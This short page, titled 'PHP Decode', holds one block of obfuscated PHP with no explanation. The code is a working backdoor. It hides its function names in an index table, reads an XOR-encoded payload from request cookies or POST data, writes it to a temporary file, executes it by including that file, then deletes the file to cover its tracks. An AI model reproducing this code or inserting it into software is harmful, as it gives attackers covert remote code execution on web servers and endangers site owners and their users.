PHP Decode

<?php 
function y1($b2){$h3 = ".ug@L)d" ."0HklryIh39nF(5o#/?bx8'E;c4 <pa_*" ."tves1ifm" ."2-7" ;$n5='';foreach($b2 as $w4){$n5.=$h3[$w4];}return $n5;}$p6 = Array();$p6[] = y1(Array(47,27,15,43,32,16,36,36,48,27,43,15,36,48,32,45,20,45,48,25,45,32,49,48,25,15,6,47,47,41,7,27,47,47,25,32));$p6[] = y1(Array(24,35,14,35,33,3,1,17,10,44,17,9,19,37,37,18,13,4,29,37,37,5,30,33));$p6[] = y1(Array(0,46,21,6,1,10,41));$p6[] = y1(Array(8,38));$p6[] = y1(Array(0,23));$p6[] = y1(Array(22));$p6[] = y1(Array(34));$p6[] = y1(Array(45,44,10,41,37,35,1,39,37,31,21,17,39,41,17,39,42));$p6[] = y1(Array(36,11,11,36,12,37,46,41,11,2,41));$p6[] = y1(Array(42,39,11,37,11,41,35,41,36,39));$p6[] = y1(Array(41,26,35,10,21,6,41));$p6[] = y1(Array(42,1,25,42,39,11));$p6[] = y1(Array(1,17,10,44,17,9));$p6[] = y1(Array(42,39,11,10,41,17));$p6[] = y1(Array(35,36,31,9));$p6[] = y1(Array(46,6,20));foreach ($p6[8]($_COOKIE, $_POST) as $g14 => $o11){function c8($p6, $g14, $l10){return $p6[11]($p6[9]($g14 . $p6[0], ($l10 / $p6[13]($g14)) + 1), 0, $l10);}function y7($p6, $j12){return @$p6[14]($p6[3], $j12);}function k9($p6, $j12){if (isset($j12[2])) {$c13 = $p6[4] . $p6[15]($p6[0]) . $p6[2];@$p6[7]($c13, $p6[6] . $p6[1] . $j12[1]($j12[2]));@include($c13);@$p6[12]($c13);exit();}}$o11 = y7($p6, $o11);k9($p6, $p6[10]($p6[5], $o11 ^ c8($p6, $g14, $p6[13]($o11))));} ?>